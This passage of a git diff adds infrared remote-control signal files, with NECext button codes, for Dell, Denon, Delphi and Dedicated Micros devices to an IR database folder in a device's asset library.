+command: 5E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir new file mode 100644 index 000000000..656a6b163 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: UNIT_SELECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 3_PAGES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: PAGES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: 2_PICS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: SPOT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 4_PICS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 4_PICTURES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: EVENT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: EVENT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: 9_PICS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: 9_PICTURES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 25 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dell/TV/0,28.ir b/assets/resources/infrared/_CSV-IRDB_/Dell/TV/0,28.ir new file mode 100644 index 000000000..270fd749e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dell/TV/0,28.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 01 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 02 00 00 00 +# +name: CHAN_DN +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 03 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 04 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 05 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 06 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 06 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 07 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 09 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 0B 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 0C 00 00 00 +# +name: POP/PBP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 0D 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 0E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 0F 00 00 00 +# +name: PICT +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 10 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 11 00 00 00 +# +name: PREV_CHAN +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 12 00 00 00 +# +name: POS +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 15 00 00 00 +# +name: PIP_SEL +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 1D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 21 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 22 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 39 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 60 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 61 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 62 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 1C 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir b/assets/resources/infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir new file mode 100644 index 000000000..d7bd2c3ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: vol_off +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 11 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 21 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 2C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 2E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 2F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 31 00 00 00 +# +name: cross_up +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 58 00 00 00 +# +name: cross_down +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 59 00 00 00 +# +name: cross_left +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 5A 00 00 00 +# +name: cross_right +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 5B 00 00 00 +# +name: cross_enter +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: 5C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: A4 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: CE 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 2B 1C 00 00 +command: CF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir b/assets/resources/infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir new file mode 100644 index 000000000..faff1dd34 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: ASPECT +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 02 00 00 00 +# +name: PWRTOGGLE +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 02 00 00 00 +# +name: VIDEO_MODE +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 03 00 00 00 +# +name: INPUT_DVI +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 04 00 00 00 +# +name: INPUT_NEXT +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 04 00 00 00 +# +name: PGUP +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 05 00 00 00 +# +name: PGDOWN +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 06 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 08 00 00 00 +# +name: KEYSTONE_UP +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 09 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 0A 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 0B 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 0C 00 00 00 +# +name: KEYSTONE_DOWN +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 0D 00 00 00 +# +name: GAMMA +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 10 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 11 00 00 00 +# +name: R-SYNC +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 18 00 00 00 +# +name: INPUT_S-VIDEO_2 +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 19 00 00 00 +# +name: INPUT_COMPOSITE +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 1B 00 00 00 +# +name: INPUTBNC +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 1C 00 00 00 +# +name: INPUT_DVI/SAT +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 1D 00 00 00 +# +name: INPUT_RCA +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 1E 00 00 00 +# +name: INPUT_VGA +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 20 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 23 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 24 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 25 00 00 00 +# +name: BRIGHTNESS +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 26 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 27 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 4F 50 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir new file mode 100644 index 000000000..afaf1e52b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 40 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 40 00 00 00 +# +name: 1_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 41 00 00 00 +# +name: 1_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 41 00 00 00 +# +name: 2_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 42 00 00 00 +# +name: 2_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 42 00 00 00 +# +name: 3_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 43 00 00 00 +# +name: 3_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 43 00 00 00 +# +name: 4_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 44 00 00 00 +# +name: 4_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 44 00 00 00 +# +name: 5_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 45 00 00 00 +# +name: 5_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 45 00 00 00 +# +name: 6_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 46 00 00 00 +# +name: 6_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 46 00 00 00 +# +name: 7_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 47 00 00 00 +# +name: 7_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 47 00 00 00 +# +name: 8_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 48 00 00 00 +# +name: 8_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 48 00 00 00 +# +name: 9_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 49 00 00 00 +# +name: 9_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 49 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4C 00 00 00 +# +name: MUTE_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4D 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4D 00 00 00 +# +name: +_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 50 00 00 00 +# +name: +_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 50 00 00 00 +# +name: -_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 51 00 00 00 +# +name: -_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 51 00 00 00 +# +name: MEMORY_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 57 00 00 00 +# +name: MEMORY_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 57 00 00 00 +# +name: CHANNEL_+_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 60 00 00 00 +# +name: CHANNEL_+_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 60 00 00 00 +# +name: UP_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 60 00 00 00 +# +name: UP_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 60 00 00 00 +# +name: CHANNEL_-_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 61 00 00 00 +# +name: CHANNEL_-_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 61 00 00 00 +# +name: DOWN_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 61 00 00 00 +# +name: DOWN_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 61 00 00 00 +# +name: PRESET/DIRECT_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 62 00 00 00 +# +name: PRESET/DIRECT_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 62 00 00 00 +# +name: XM_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 63 00 00 00 +# +name: XM_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 63 00 00 00 +# +name: CATEGORY_>>_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 70 00 00 00 +# +name: CATEGORY_>>_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 70 00 00 00 +# +name: CATEGORY_<<_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 71 00 00 00 +# +name: CATEGORY_<<_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 71 00 00 00 +# +name: DISPLAY_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 7A 00 00 00 +# +name: DISPLAY_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir new file mode 100644 index 000000000..5daea361f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7F 00 00 00 +# +name: ZN2_VOL_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8D 00 00 00 +# +name: ZONE_2_VOL_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8E 00 00 00 +# +name: SOURCE_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: ZONE_2_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: ZONE_2_IPOD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: ZONE2_MUSICSERVER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 93 00 00 00 +# +name: SURR_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9D 00 00 00 +# +name: SURR_DIRECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9E 00 00 00 +# +name: SYSTEM_SETUP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A0 00 00 00 +# +name: SURR_PARAMETER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A1 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A3 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A4 00 00 00 +# +name: SURR_5CH/7CH_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A8 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B2 00 00 00 +# +name: ZONE_2_DVD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BE 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir new file mode 100644 index 000000000..144d4ee0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: SURR_PUREDIRECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 6A 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 79 00 00 00 +# +name: POWER_ON_ZN_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF_ZN_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7C 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C3 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: IPOD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: CABLE_TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: MUSIC_SERVER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: VIDEO_AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DD 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DF 00 00 00 +# +name: SELECT/ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E0 00 00 00 +# +name: POWER_ON_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E1 00 00 00 +# +name: POWER_OFF_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E2 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E3 00 00 00 +# +name: SURR_STANDARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E4 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: VOLUME_+_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: VOLUME_-_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir new file mode 100644 index 000000000..daacca00b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: SURROUND_CINEMA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: ROOM_EQ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir new file mode 100644 index 000000000..068b6ab12 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: DIGITAL_DBS/BS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 83 00 00 00 +# +name: DIGITAL_VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 84 00 00 00 +# +name: DIGITAL_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 85 00 00 00 +# +name: DIGITAL_DAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 86 00 00 00 +# +name: AMP_CD_DIRECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8C 00 00 00 +# +name: STEREO_T.M. +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9D 00 00 00 +# +name: DIRECT_T.S. +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9E 00 00 00 +# +name: PARAM.DSP.REC +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9F 00 00 00 +# +name: AMP_PARAMETER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A0 00 00 00 +# +name: PARAM.MAIN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A0 00 00 00 +# +name: PARAM.SUB +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A1 00 00 00 +# +name: AMP_CLEAR +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A2 00 00 00 +# +name: PARAM.CLEAR +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A2 00 00 00 +# +name: AMP_SET_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A3 00 00 00 +# +name: PARAM.SET_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A3 00 00 00 +# +name: AMP_SET_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A4 00 00 00 +# +name: PARAM.SET_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A4 00 00 00 +# +name: AMP_EFFECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A6 00 00 00 +# +name: AMP_INPUT_ADJ. +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A7 00 00 00 +# +name: AMP_MEMORY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A9 00 00 00 +# +name: AMP_PERSONAL_MEM_1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AA 00 00 00 +# +name: AMP_PERSONAL_MEM_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AB 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B2 00 00 00 +# +name: AMP_TUNER_PRESET_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: TUNER_CH_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: TUNER_PRESET_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: TUNER_PRESET_CH_DN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: AMP_TUNER_PRESET_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_CH_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_PRESET_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_PRESET_CH_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D7 00 00 00 +# +name: TUNER_AT/MANU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: TUNER_TUNE_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: TUNER_TUNE_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: TUNER_RF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DB 00 00 00 +# +name: TUNER_P.SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DC 00 00 00 +# +name: TUNER_POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir new file mode 100644 index 000000000..91bf45c1e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir @@ -0,0 +1,596 @@ +Filetype: IR signals file +Version: 1 +# 